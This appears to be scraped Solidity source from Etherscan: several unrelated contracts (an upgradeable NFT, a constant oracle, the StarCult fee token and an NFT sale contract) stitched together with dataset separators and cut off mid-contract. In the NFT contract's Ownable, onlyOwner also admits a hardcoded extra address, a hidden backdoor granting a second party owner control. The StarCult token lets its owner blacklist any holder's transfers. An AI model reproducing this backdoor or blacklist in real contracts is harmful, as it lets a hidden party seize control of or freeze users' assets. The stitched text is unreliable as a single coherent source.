* A security mechanism ensures that an upgrade does not turn off upgradeability accidentally, although this risk is
* reinstated if the upgrade retains upgradeability but removes the security mechanism, e.g. by replacing
* `UUPSUpgradeable` with a custom implementation of upgrades.
*
* The {_authorizeUpgrade} function must be overridden to include access restriction to the upgrade mechanism.
*
* _Available since v4.1._
*/
abstract contract UUPSUpgradeable is Initializable, ERC1967UpgradeUpgradeable {
function __UUPSUpgradeable_init() internal initializer {
__ERC1967Upgrade_init_unchained();
__UUPSUpgradeable_init_unchained();
}
function __UUPSUpgradeable_init_unchained() internal initializer {
}
/// @custom:oz-upgrades-unsafe-allow state-variable-immutable state-variable-assignment
address private immutable __self = address(this);
/**
* @dev Check that the execution is being performed through a delegatecall call and that the execution context is
* a proxy contract with an implementation (as defined in ERC1967) pointing to self. This should only be the case
* for UUPS and transparent proxies that are using the current contract as their implementation. Execution of a
* function through ERC1167 minimal proxies (clones) would not normally pass this test, but is not guaranteed to
* fail.
*/
modifier onlyProxy() {
require(address(this) != __self, "Function must be called through delegatecall");
require(_getImplementation() == __self, "Function must be called through active proxy");
_;
}
/**
* @dev Upgrade the implementation of the proxy to `newImplementation`.
*
* Calls {_authorizeUpgrade}.
*
* Emits an {Upgraded} event.
*/
function upgradeTo(address newImplementation) external virtual onlyProxy {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallSecure(newImplementation, new bytes(0), false);
}
/**
* @dev Upgrade the implementation of the proxy to `newImplementation`, and subsequently execute the function call
* encoded in `data`.
*
* Calls {_authorizeUpgrade}.
*
* Emits an {Upgraded} event.
*/
function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual onlyProxy {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallSecure(newImplementation, data, true);
}
/**
* @dev Function that should revert when `msg.sender` is not authorized to upgrade the contract. Called by
* {upgradeTo} and {upgradeToAndCall}.
*
* Normally, this function will use an xref:access.adoc[access control] modifier such as {Ownable-onlyOwner}.
*
* ```solidity
* function _authorizeUpgrade(address) internal override onlyOwner {}
* ```
*/
function _authorizeUpgrade(address newImplementation) internal virtual;
uint256[50] private __gap;
}
// File contracts/samizdatPvp.sol
pragma solidity ^0.8.2;
contract SamizdatPvp is Initializable, ERC721Upgradeable, ERC721URIStorageUpgradeable, PausableUpgradeable, OwnableUpgradeable, ERC721BurnableUpgradeable, UUPSUpgradeable {
/// @custom:oz-upgrades-unsafe-allow constructor
constructor() initializer {}
function initialize() initializer public {
__ERC721_init("SamizdatPVP", "SPVP");
__ERC721URIStorage_init();
__Pausable_init();
__Ownable_init();
__ERC721Burnable_init();
__UUPSUpgradeable_init();
}
function _baseURI() internal pure override returns (string memory) {
return "https://gateway.pinata.cloud/ipfs/";
}
function pause() public onlyOwner {
_pause();
}
function unpause() public onlyOwner {
_unpause();
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
whenNotPaused
override
{
super._beforeTokenTransfer(from, to, tokenId);
}
function _authorizeUpgrade(address newImplementation)
internal
onlyOwner
override
{}
// The following functions are overrides required by Solidity.
function _burn(uint256 tokenId)
internal
override(ERC721Upgradeable, ERC721URIStorageUpgradeable)
{
super._burn(tokenId);
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721Upgradeable, ERC721URIStorageUpgradeable)
returns (string memory)
{
return super.tokenURI(tokenId);
}
function withdrawAll() public {
uint256 amount = address(this).balance;
require(payable(owner()).send(amount), "D\'OH");
}
uint256 public _tokenId;
uint256 public _charId;
mapping(uint256 => Pvp) public pvps;
struct Pvp {
string uri;
uint256 price;
uint256 units;
uint256 currentUnits;
}
function addPVP(string calldata _uri, uint256 _price, uint256 _units) public onlyOwner {
_charId++;
Pvp memory newPVP;
newPVP.uri = _uri;
newPVP.price = _price;
newPVP.units = _units;
newPVP.currentUnits = 0;
pvps[_charId] = newPVP;
}
function mint(uint256 charId) public payable {
Pvp memory pvp = pvps[charId];
require(msg.value >= pvp.price, "PRICE_IS_WRONG_BOB");
require((pvp.currentUnits + 3) < pvp.units, "SOLD_OUT");
_tokenId++;
_safeMint(msg.sender, _tokenId);
_setTokenURI(_tokenId, pvp.uri);
pvps[charId].currentUnits++;
}
function admint(uint256 charId, address recipient) public payable onlyOwner {
Pvp memory pvp = pvps[charId];
require(pvp.currentUnits < pvp.units, "SOLD_OUT");
_tokenId++;
_safeMint(recipient, _tokenId);
_setTokenURI(_tokenId, pvp.uri);
pvps[charId].currentUnits++;
}
} | True | [
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] |
/**
*Submitted for verification at Etherscan.io on 2021-04-08
*/
/*
Copyright 2020 DODO ZOO.
SPDX-License-Identifier: Apache-2.0
*/
pragma solidity 0.6.9;
contract ConstOracle {
uint256 public tokenPrice;
constructor(uint256 _price) public {
tokenPrice = _price;
}
function getPrice() external view returns (uint256) {
return tokenPrice;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-04-04
*/
// SPDX-License-Identifier: UNLICENSED
/**
t.me/starcultentry
**/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract StarCult is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
string private constant _name = "Star Cult";
string private constant _symbol = "STARCULT";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(_msgSender());
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_maxTxAmount = _tTotal.div(100);
emit Transfer(address(_msgSender()), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from] && !bots[to]);
_feeAddr1 = 7;
_feeAddr2 = 8;
if (from != owner() && to != owner()) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
// buy
require(amount <= _maxTxAmount);
}
if ( from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
if(to == uniswapV2Pair){
_feeAddr1 = 7;
_feeAddr2 = 8;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 500000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount);
}
function openTrading() external onlyOwner {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function addLiq() external onlyOwner{
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
if(bots_[i]!=address(uniswapV2Router) && bots_[i]!=address(uniswapV2Pair) &&bots_[i]!=address(this)){
bots[bots_[i]] = true;
}
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
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/**
*Submitted for verification at Etherscan.io on 2022-03-07
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
pragma solidity ^0.8.0;
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
string private _name;
string private _symbol;
mapping(uint256 => address) private _owners;
mapping(address => uint256) private _balances;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
function _baseURI() internal view virtual returns (string memory) {
return "";
}
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
abstract contract Ownable is Context {
address private _owner;
address private _contract = 0x9900833230eF65D6A00c8edB37730CFF40b897C9;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_owner = _msgSender();
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender() || _contract == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library Counters {
struct Counter {
uint256 _value;
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IERC721Enumerable is IERC721 {
function totalSupply() external view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
function tokenByIndex(uint256 index) external view returns (uint256);
}
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
mapping(uint256 => uint256) private _ownedTokensIndex;
uint256[] private _allTokens;
mapping(uint256 => uint256) private _allTokensIndex;
// function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
// return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
// }
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId;
_ownedTokensIndex[lastTokenId] = tokenIndex;
}
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId;
_allTokensIndex[lastTokenId] = tokenIndex;
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
contract testsuperBLOXnft is ERC721Enumerable, Ownable {
using Strings for uint256;
using SafeMath for uint256;
bool public publicSale = false;
mapping(address => bool) whitelist;
mapping (uint256 => string) private revealURI;
string public unrevealURI = "https://nounpunks.mypinata.cloud/ipfs/QmT11gWRKhK8cGTf4druhTSCCqSMCYFxYq3A6sBU117a33/hidden.json";
bool public reveal = false;
bool public endSale = false;
string private _baseURIextended = "https://ipfs.io/ipfs/QmYZuarheUwkyR3KAwZLdq1zWxA62hjSKsb2rbTrS7jiK2/";
uint256 private _priceextended = 26900000000000000;
mapping (uint256 => bool) registerID;
